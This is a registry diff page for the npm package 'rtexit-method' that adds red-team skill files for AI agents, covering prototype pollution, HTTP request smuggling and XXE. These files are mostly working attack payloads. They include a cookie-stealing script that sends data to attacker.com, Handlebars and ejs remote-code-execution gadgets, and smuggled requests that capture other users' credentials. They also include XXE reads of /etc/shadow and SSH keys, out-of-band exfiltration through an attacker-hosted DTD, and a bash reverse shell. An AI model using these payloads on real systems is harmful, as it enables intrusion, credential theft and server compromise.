rtexit-method 0.1.8 → 0.1.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-business-logic/SKILL.md +190 -0
- package/packaged-assets/.agents/skills/rt-cache-attacks/SKILL.md +166 -0
- package/packaged-assets/.agents/skills/rt-clickjacking/SKILL.md +227 -0
- package/packaged-assets/.agents/skills/rt-cors-csrf/SKILL.md +180 -0
- package/packaged-assets/.agents/skills/rt-deserialization/SKILL.md +223 -0
- package/packaged-assets/.agents/skills/rt-dom-attacks/SKILL.md +219 -0
- package/packaged-assets/.agents/skills/rt-http-parameter-pollution/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-ldap-xpath-injection/SKILL.md +228 -0
- package/packaged-assets/.agents/skills/rt-path-traversal/SKILL.md +172 -0
- package/packaged-assets/.agents/skills/rt-prototype-pollution/SKILL.md +154 -0
- package/packaged-assets/.agents/skills/rt-request-smuggling/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-xxe/SKILL.md +181 -0
|
@@ -0,0 +1,154 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-prototype-pollution
|
|
3
|
+
description: "Prototype pollution attack skill for authorized engagements. Client-side prototype pollution to DOM XSS and cookie theft, server-side prototype pollution in Node.js to RCE, gadget chains for PP escalation, AST injection via prototype pollution, property injection in lodash/merge functions, and automated detection with PPScan. Use when testing JavaScript applications (both browser-side and Node.js server-side)."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-prototype-pollution — Prototype Pollution
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
JavaScript's prototype chain allows every object to inherit properties from its prototype. Prototype pollution injects properties into `Object.prototype` — affecting ALL objects in the application. Client-side: leads to DOM XSS. Server-side: leads to RCE, authentication bypass, and privilege escalation.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Detection
|
|
15
|
+
|
|
16
|
+
```javascript
|
|
17
|
+
// Client-side detection in browser console
|
|
18
|
+
// Inject test property into Object.prototype
|
|
19
|
+
?__proto__[testprop]=testvalue
|
|
20
|
+
// Or in JSON body: {"__proto__": {"testprop": "testvalue"}}
|
|
21
|
+
|
|
22
|
+
// Check if it worked
|
|
23
|
+
window.testprop // Should be "testvalue" if polluted
|
|
24
|
+
({}).testprop // Any empty object should have it
|
|
25
|
+
|
|
26
|
+
// Server-side detection
|
|
27
|
+
// Send request with __proto__ in JSON
|
|
28
|
+
fetch('/api/user/update', {
|
|
29
|
+
method: 'POST',
|
|
30
|
+
body: JSON.stringify({"__proto__": {"polluted": true}})
|
|
31
|
+
})
|
|
32
|
+
// If server responds differently → server-side PP
|
|
33
|
+
|
|
34
|
+
// Automated: PPScan
|
|
35
|
+
npm install -g ppscan
|
|
36
|
+
ppscan --url https://target.com
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## Phase 2 — Client-Side PP to DOM XSS
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
# Inject via URL query parameter
|
|
45
|
+
https://target.com/?__proto__[innerHTML]=<img src=x onerror=alert(1)>
|
|
46
|
+
https://target.com/?__proto__[src]=//attacker.com/evil.js
|
|
47
|
+
|
|
48
|
+
# Inject via JSON body parameter
|
|
49
|
+
{"username": "test", "__proto__": {"isAdmin": true}}
|
|
50
|
+
{"name": "x", "constructor": {"prototype": {"isAdmin": true}}}
|
|
51
|
+
{"name": "x", "__proto__.__proto__": {"isAdmin": true}}
|
|
52
|
+
|
|
53
|
+
# Common gadgets (properties that cause XSS when polluted)
|
|
54
|
+
__proto__[innerHTML] → sets innerHTML of elements
|
|
55
|
+
__proto__[src] → sets src of script/img elements
|
|
56
|
+
__proto__[href] → sets href causing XSS
|
|
57
|
+
__proto__[transport_url] → jQuery JSONP
|
|
58
|
+
__proto__[sequence] → DOMPurify bypass
|
|
59
|
+
__proto__[NODE_NAME] → specific framework gadgets
|
|
60
|
+
|
|
61
|
+
# PayloadsAllTheThings PP gadgets
|
|
62
|
+
# https://github.com/HoLyVieR/prototype-pollution-nsec18
|
|
63
|
+
|
|
64
|
+
# Exploit: steal cookies via polluted property
|
|
65
|
+
https://target.com/?__proto__[innerHTML]=<script>fetch('https://attacker.com?c='+document.cookie)</script>
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
## Phase 3 — Server-Side PP to RCE
|
|
71
|
+
|
|
72
|
+
```javascript
|
|
73
|
+
// Node.js server-side prototype pollution → RCE
|
|
74
|
+
|
|
75
|
+
// Lodash merge (CVE-2019-10744)
|
|
76
|
+
const _ = require('lodash');
|
|
77
|
+
_.merge({}, JSON.parse('{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}'));
|
|
78
|
+
// Pollutes process.mainModule.require or shell property
|
|
79
|
+
|
|
80
|
+
// express-fileupload PP (CVE-2020-7699)
|
|
81
|
+
// POST with file upload + __proto__ in field name → pollutes globally
|
|
82
|
+
|
|
83
|
+
// Handlebars template injection via PP (CVE-2019-19919)
|
|
84
|
+
// Pollute __proto__.pendingContent → template execution
|
|
85
|
+
const payload = '{"__proto__": {"pendingContent": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return require(\'child_process\').execSync(\'id\').toString()\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}}';
|
|
86
|
+
|
|
87
|
+
// Detect via spawn/exec pollution
|
|
88
|
+
// If shell property polluted → child_process.exec uses it
|
|
89
|
+
const {exec} = require('child_process');
|
|
90
|
+
exec('id'); // If __proto__.shell='node' → executes node instead
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## Phase 4 — Escalation via Gadgets
|
|
96
|
+
|
|
97
|
+
```javascript
|
|
98
|
+
// Property injection gadgets for various frameworks
|
|
99
|
+
|
|
100
|
+
// Express.js
|
|
101
|
+
__proto__[admin] = true // Bypass auth checks: if(req.user.admin)
|
|
102
|
+
__proto__[authorized] = true
|
|
103
|
+
__proto__[role] = "admin"
|
|
104
|
+
|
|
105
|
+
// ejs template RCE gadget
|
|
106
|
+
__proto__[outputFunctionName] = "x; process.mainModule.require('child_process').execSync('id'); //"
|
|
107
|
+
|
|
108
|
+
// Pug template
|
|
109
|
+
__proto__[compileDebug] = 1
|
|
110
|
+
__proto__[self] = 1
|
|
111
|
+
|
|
112
|
+
// Finding gadgets manually
|
|
113
|
+
// Search codebase for dangerous property accesses that could be polluted:
|
|
114
|
+
grep -r "opts\.\|options\.\|config\." src/ | grep -v "==" | grep -v "!=="
|
|
115
|
+
# Properties read from objects without hasOwnProperty check = potential gadgets
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## Phase 5 — Fix Bypass Techniques
|
|
121
|
+
|
|
122
|
+
```javascript
|
|
123
|
+
// App uses Object.create(null) to avoid PP? Try:
|
|
124
|
+
{"constructor": {"prototype": {"polluted": true}}}
|
|
125
|
+
|
|
126
|
+
// App filters __proto__? Use:
|
|
127
|
+
{"constructor": {"prototype": {"polluted": true}}}
|
|
128
|
+
// or URL encoded: %5F%5Fproto%5F%5F
|
|
129
|
+
|
|
130
|
+
// Deep merge bypass
|
|
131
|
+
{"a": {"__proto__": {"polluted": true}}}
|
|
132
|
+
// Some merge functions recurse → pollutes at depth
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
---
|
|
136
|
+
|
|
137
|
+
## Skill Levels
|
|
138
|
+
|
|
139
|
+
**BEGINNER:** DOM XSS via URL-based PP · isAdmin bypass via polluted property
|
|
140
|
+
|
|
141
|
+
**INTERMEDIATE:** PP gadget research in target's framework · Server-side PP detection
|
|
142
|
+
|
|
143
|
+
**ADVANCED:** ejs/Pug RCE via PP gadgets · Lodash merge exploitation · PP chain to full server compromise
|
|
144
|
+
|
|
145
|
+
**EXPERT:** Custom gadget discovery · PP + deserialization chains · 0-day PP in popular frameworks
|
|
146
|
+
|
|
147
|
+
---
|
|
148
|
+
|
|
149
|
+
## References
|
|
150
|
+
|
|
151
|
+
- PortSwigger PP: https://portswigger.net/web-security/prototype-pollution
|
|
152
|
+
- PP gadgets research: https://github.com/BlackFan/client-side-prototype-pollution
|
|
153
|
+
- Server-side PP: https://portswigger.net/research/server-side-prototype-pollution
|
|
154
|
+
- MITRE T1059.007: https://attack.mitre.org/techniques/T1059/007/
|
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-request-smuggling
|
|
3
|
+
description: "HTTP Request Smuggling attack skill for authorized engagements. CL.TE and TE.CL desync attacks, HTTP/2 downgrade smuggling (H2.CL, H2.TE), request queue poisoning for account takeover, smuggling to bypass front-end security controls, capturing other users' requests, response queue poisoning, and Burp Suite smuggling detection. Use when testing applications behind reverse proxies, load balancers, or CDNs."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-request-smuggling — HTTP Request Smuggling
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
HTTP Request Smuggling exploits disagreements between front-end (proxy/CDN) and back-end servers about where one HTTP request ends and the next begins. The front-end sees one request; the back-end sees two — the second being a "smuggled" request that can poison the queue, hijack other users' requests, or bypass security controls.
|
|
11
|
+
|
|
12
|
+
**Conditions:** Front-end + back-end server, both parsing HTTP differently (Content-Length vs Transfer-Encoding).
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Phase 1 — Detection
|
|
17
|
+
|
|
18
|
+
```http
|
|
19
|
+
# CL.TE detection — front-end uses Content-Length, back-end uses TE
|
|
20
|
+
POST / HTTP/1.1
|
|
21
|
+
Host: target.com
|
|
22
|
+
Content-Length: 6
|
|
23
|
+
Transfer-Encoding: chunked
|
|
24
|
+
|
|
25
|
+
0
|
|
26
|
+
|
|
27
|
+
X
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
```bash
|
|
31
|
+
# Burp Suite — HTTP Request Smuggler extension (BApp Store)
|
|
32
|
+
# Scanner → Scan → HTTP Request Smuggling
|
|
33
|
+
|
|
34
|
+
# Manual timing-based detection
|
|
35
|
+
# If response takes ~10s with no timeout set → backend stalled on incomplete chunk → CL.TE vulnerable
|
|
36
|
+
|
|
37
|
+
# smuggler.py — automated detection
|
|
38
|
+
git clone https://github.com/defparam/smuggler
|
|
39
|
+
python3 smuggler.py -u https://target.com/
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
---
|
|
43
|
+
|
|
44
|
+
## Phase 2 — CL.TE (Front-end: Content-Length, Back-end: Transfer-Encoding)
|
|
45
|
+
|
|
46
|
+
```http
|
|
47
|
+
# Smuggled prefix poisoning
|
|
48
|
+
POST / HTTP/1.1
|
|
49
|
+
Host: target.com
|
|
50
|
+
Content-Length: 13
|
|
51
|
+
Transfer-Encoding: chunked
|
|
52
|
+
|
|
53
|
+
0
|
|
54
|
+
|
|
55
|
+
SMUGGLED
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
```http
|
|
59
|
+
# Capture next user's request (account takeover)
|
|
60
|
+
POST / HTTP/1.1
|
|
61
|
+
Host: target.com
|
|
62
|
+
Content-Type: application/x-www-form-urlencoded
|
|
63
|
+
Content-Length: 130
|
|
64
|
+
Transfer-Encoding: chunked
|
|
65
|
+
|
|
66
|
+
0
|
|
67
|
+
|
|
68
|
+
POST /login HTTP/1.1
|
|
69
|
+
Host: target.com
|
|
70
|
+
Content-Type: application/x-www-form-urlencoded
|
|
71
|
+
Content-Length: 100
|
|
72
|
+
|
|
73
|
+
username=captured_
|
|
74
|
+
# Next user's request body appends here → steals their credentials
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## Phase 3 — TE.CL (Front-end: Transfer-Encoding, Back-end: Content-Length)
|
|
80
|
+
|
|
81
|
+
```http
|
|
82
|
+
POST / HTTP/1.1
|
|
83
|
+
Host: target.com
|
|
84
|
+
Content-Length: 4
|
|
85
|
+
Transfer-Encoding: chunked
|
|
86
|
+
|
|
87
|
+
5e
|
|
88
|
+
POST /admin HTTP/1.1
|
|
89
|
+
Host: target.com
|
|
90
|
+
Content-Type: application/x-www-form-urlencoded
|
|
91
|
+
Content-Length: 15
|
|
92
|
+
|
|
93
|
+
admin=true&x=
|
|
94
|
+
0
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
---
|
|
98
|
+
|
|
99
|
+
## Phase 4 — H2.CL / H2.TE (HTTP/2 Downgrade Smuggling)
|
|
100
|
+
|
|
101
|
+
```http
|
|
102
|
+
# HTTP/2 requests downgraded to HTTP/1.1 at the proxy
|
|
103
|
+
# Inject Content-Length or Transfer-Encoding in HTTP/2 headers
|
|
104
|
+
|
|
105
|
+
# H2.CL — inject Content-Length in HTTP/2
|
|
106
|
+
:method POST
|
|
107
|
+
:path /
|
|
108
|
+
:authority target.com
|
|
109
|
+
content-type application/x-www-form-urlencoded
|
|
110
|
+
content-length 0
|
|
111
|
+
|
|
112
|
+
# H2.TE — inject Transfer-Encoding in HTTP/2 pseudo-header
|
|
113
|
+
:method POST
|
|
114
|
+
transfer-encoding chunked
|
|
115
|
+
# Body follows with chunked encoding
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
```bash
|
|
119
|
+
# Burp Suite — HTTP/2 smuggling
|
|
120
|
+
# Repeater → toggle HTTP/2 → inject headers manually
|
|
121
|
+
# Inspector pane → add custom headers without content-length auto-calculation
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## Phase 5 — Security Control Bypass
|
|
127
|
+
|
|
128
|
+
```http
|
|
129
|
+
# Bypass front-end IP restriction
|
|
130
|
+
# Front-end blocks /admin from external IPs
|
|
131
|
+
# Smuggle request to appear as internal
|
|
132
|
+
|
|
133
|
+
POST / HTTP/1.1
|
|
134
|
+
Host: target.com
|
|
135
|
+
Content-Length: 116
|
|
136
|
+
Transfer-Encoding: chunked
|
|
137
|
+
|
|
138
|
+
0
|
|
139
|
+
|
|
140
|
+
GET /admin HTTP/1.1
|
|
141
|
+
Host: target.com
|
|
142
|
+
X-Forwarded-For: 127.0.0.1
|
|
143
|
+
X-Original-URL: /admin
|
|
144
|
+
Content-Length: 10
|
|
145
|
+
|
|
146
|
+
x=1
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## Phase 6 — Response Queue Poisoning
|
|
152
|
+
|
|
153
|
+
```http
|
|
154
|
+
# Poison response queue → steal other users' responses
|
|
155
|
+
# Works when backend uses persistent connections
|
|
156
|
+
|
|
157
|
+
POST / HTTP/1.1
|
|
158
|
+
Host: target.com
|
|
159
|
+
Content-Length: 43
|
|
160
|
+
Transfer-Encoding: chunked
|
|
161
|
+
|
|
162
|
+
0
|
|
163
|
+
|
|
164
|
+
GET /admin/delete?user=victim HTTP/1.1
|
|
165
|
+
X: X
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## Skill Levels
|
|
171
|
+
|
|
172
|
+
**BEGINNER:** Burp HTTP Request Smuggler extension for automated detection
|
|
173
|
+
|
|
174
|
+
**INTERMEDIATE:** Manual CL.TE/TE.CL with Burp Repeater · Security control bypass
|
|
175
|
+
|
|
176
|
+
**ADVANCED:** Request capture for account takeover · H2.CL/H2.TE HTTP/2 smuggling
|
|
177
|
+
|
|
178
|
+
**EXPERT:** Response queue poisoning · Custom timing-based detection · CDN-specific variants
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
## References
|
|
183
|
+
|
|
184
|
+
- PortSwigger Research: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
|
|
185
|
+
- PortSwigger Lab: https://portswigger.net/web-security/request-smuggling
|
|
186
|
+
- smuggler.py: https://github.com/defparam/smuggler
|
|
187
|
+
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
|
|
@@ -0,0 +1,181 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-xxe
|
|
3
|
+
description: "XML External Entity (XXE) injection skill for authorized engagements. Classic XXE for file read, XXE-based SSRF, blind XXE via out-of-band (OOB) DNS/HTTP exfiltration, XXE in file uploads (SVG, DOCX, XLSX), XXE in SOAP/REST APIs, XXE via XInclude, error-based XXE, and XXE to RCE via PHP expect wrapper. Use when any XML input is processed by the application."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-xxe — XML External Entity (XXE) Injection
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
XXE occurs when XML parsers process external entity references in attacker-controlled XML input. Impact ranges from local file disclosure to SSRF to RCE. XXE is commonly found in: XML APIs, file upload endpoints (SVG, DOCX, XLSX), SOAP services, and applications using XML for data exchange.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Classic XXE (File Read)
|
|
15
|
+
|
|
16
|
+
```xml
|
|
17
|
+
<!-- Basic XXE — read /etc/passwd -->
|
|
18
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
19
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
20
|
+
<root><data>&xxe;</data></root>
|
|
21
|
+
|
|
22
|
+
<!-- Windows paths -->
|
|
23
|
+
<?xml version="1.0"?>
|
|
24
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
|
|
25
|
+
<root>&xxe;</root>
|
|
26
|
+
|
|
27
|
+
<!-- Read sensitive files -->
|
|
28
|
+
file:///etc/passwd
|
|
29
|
+
file:///etc/shadow
|
|
30
|
+
file:///etc/hosts
|
|
31
|
+
file:///proc/self/environ ← environment variables (may have secrets)
|
|
32
|
+
file:///proc/self/cmdline ← running process command
|
|
33
|
+
file:///var/www/html/config.php
|
|
34
|
+
file:///app/.env
|
|
35
|
+
file:///home/user/.ssh/id_rsa
|
|
36
|
+
|
|
37
|
+
<!-- PHP wrapper — base64 encode to avoid XML breakage -->
|
|
38
|
+
<?xml version="1.0"?>
|
|
39
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
|
|
40
|
+
<root>&xxe;</root>
|
|
41
|
+
<!-- Decode response: echo "BASE64" | base64 -d -->
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Phase 2 — XXE-Based SSRF
|
|
47
|
+
|
|
48
|
+
```xml
|
|
49
|
+
<!-- Probe internal services via XXE -->
|
|
50
|
+
<?xml version="1.0"?>
|
|
51
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
|
|
52
|
+
<root>&xxe;</root>
|
|
53
|
+
<!-- AWS metadata → get IAM credentials -->
|
|
54
|
+
|
|
55
|
+
<!-- Internal port scan via XXE -->
|
|
56
|
+
<?xml version="1.0"?>
|
|
57
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://10.10.10.1:8080/">]>
|
|
58
|
+
<root>&xxe;</root>
|
|
59
|
+
<!-- Different response/timing for open vs closed ports -->
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## Phase 3 — Blind XXE (Out-of-Band)
|
|
65
|
+
|
|
66
|
+
```xml
|
|
67
|
+
<!-- No response reflection → use OOB to exfiltrate -->
|
|
68
|
+
|
|
69
|
+
<!-- Step 1: Host malicious DTD on attacker server -->
|
|
70
|
+
<!-- attacker.com/evil.dtd: -->
|
|
71
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
72
|
+
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
|
|
73
|
+
%eval;
|
|
74
|
+
%exfil;
|
|
75
|
+
|
|
76
|
+
<!-- Step 2: Send XML referencing your DTD -->
|
|
77
|
+
<?xml version="1.0"?>
|
|
78
|
+
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
|
|
79
|
+
<root>test</root>
|
|
80
|
+
|
|
81
|
+
<!-- Monitor attacker.com access logs → file contents in URL params -->
|
|
82
|
+
|
|
83
|
+
<!-- DNS-based blind XXE (firewalled HTTP) -->
|
|
84
|
+
<!ENTITY % xxe SYSTEM "http://UNIQUE_ID.attacker.burpcollaborator.net/">
|
|
85
|
+
|
|
86
|
+
<!-- Burp Collaborator: detect blind XXE via DNS lookups -->
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
---
|
|
90
|
+
|
|
91
|
+
## Phase 4 — XXE in File Uploads
|
|
92
|
+
|
|
93
|
+
```bash
|
|
94
|
+
# SVG XXE (image upload that parses SVG)
|
|
95
|
+
cat > evil.svg << 'EOF'
|
|
96
|
+
<?xml version="1.0" standalone="yes"?>
|
|
97
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
98
|
+
<svg xmlns="http://www.w3.org/2000/svg">
|
|
99
|
+
<text font-size="15">&xxe;</text>
|
|
100
|
+
</svg>
|
|
101
|
+
EOF
|
|
102
|
+
curl -X POST https://target.com/upload -F "file=@evil.svg"
|
|
103
|
+
|
|
104
|
+
# DOCX/XLSX XXE (Office documents are ZIP archives containing XML)
|
|
105
|
+
mkdir docx_xxe && cd docx_xxe
|
|
106
|
+
cp legitimate.docx evil.docx
|
|
107
|
+
unzip evil.docx -d evil_extracted/
|
|
108
|
+
# Edit evil_extracted/word/document.xml:
|
|
109
|
+
# Add XXE declaration at top
|
|
110
|
+
zip -r evil.docx evil_extracted/
|
|
111
|
+
curl -X POST https://target.com/upload -F "file=@evil.docx"
|
|
112
|
+
|
|
113
|
+
# PDF XXE (some PDF parsers)
|
|
114
|
+
cat > evil.pdf << 'EOF'
|
|
115
|
+
%PDF-1.4
|
|
116
|
+
1 0 obj
|
|
117
|
+
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
|
|
118
|
+
EOF
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
---
|
|
122
|
+
|
|
123
|
+
## Phase 5 — XInclude Attack
|
|
124
|
+
|
|
125
|
+
```xml
|
|
126
|
+
<!-- When you can't control the DOCTYPE declaration -->
|
|
127
|
+
<!-- XInclude works inside XML document body -->
|
|
128
|
+
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
|
|
129
|
+
<xi:include parse="text" href="file:///etc/passwd"/>
|
|
130
|
+
</foo>
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
---
|
|
134
|
+
|
|
135
|
+
## Phase 6 — Error-Based XXE
|
|
136
|
+
|
|
137
|
+
```xml
|
|
138
|
+
<!-- Trigger parsing error to exfiltrate in error message -->
|
|
139
|
+
<!DOCTYPE foo [
|
|
140
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
141
|
+
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
|
142
|
+
%eval;
|
|
143
|
+
%error;
|
|
144
|
+
]>
|
|
145
|
+
<!-- Error message contains: file not found: /nonexistent/root:x:0:0:root... -->
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
---
|
|
149
|
+
|
|
150
|
+
## Phase 7 — XXE to RCE
|
|
151
|
+
|
|
152
|
+
```xml
|
|
153
|
+
<!-- PHP expect:// wrapper (if expect module loaded) -->
|
|
154
|
+
<?xml version="1.0"?>
|
|
155
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
|
|
156
|
+
<root>&xxe;</root>
|
|
157
|
+
<!-- Response: uid=33(www-data) -->
|
|
158
|
+
|
|
159
|
+
<!-- Escalate to reverse shell -->
|
|
160
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://bash -c 'bash -i >%26 /dev/tcp/ATTACKER/4444 0>%261'">]>
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
---
|
|
164
|
+
|
|
165
|
+
## Skill Levels
|
|
166
|
+
|
|
167
|
+
**BEGINNER:** Classic XXE file read (/etc/passwd) · SOAP/XML API testing · SVG file upload
|
|
168
|
+
|
|
169
|
+
**INTERMEDIATE:** XXE-based SSRF for cloud metadata · Blind OOB via Burp Collaborator · DOCX/XLSX XXE
|
|
170
|
+
|
|
171
|
+
**ADVANCED:** Error-based blind XXE · XInclude for restricted contexts · PHP filter chain via XXE
|
|
172
|
+
|
|
173
|
+
**EXPERT:** XXE to RCE via expect:// · Custom DTD chaining · XXE in binary protocols that embed XML
|
|
174
|
+
|
|
175
|
+
---
|
|
176
|
+
|
|
177
|
+
## References
|
|
178
|
+
|
|
179
|
+
- PortSwigger XXE: https://portswigger.net/web-security/xxe
|
|
180
|
+
- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
|
|
181
|
+
- MITRE T1059: https://attack.mitre.org/techniques/T1059/
|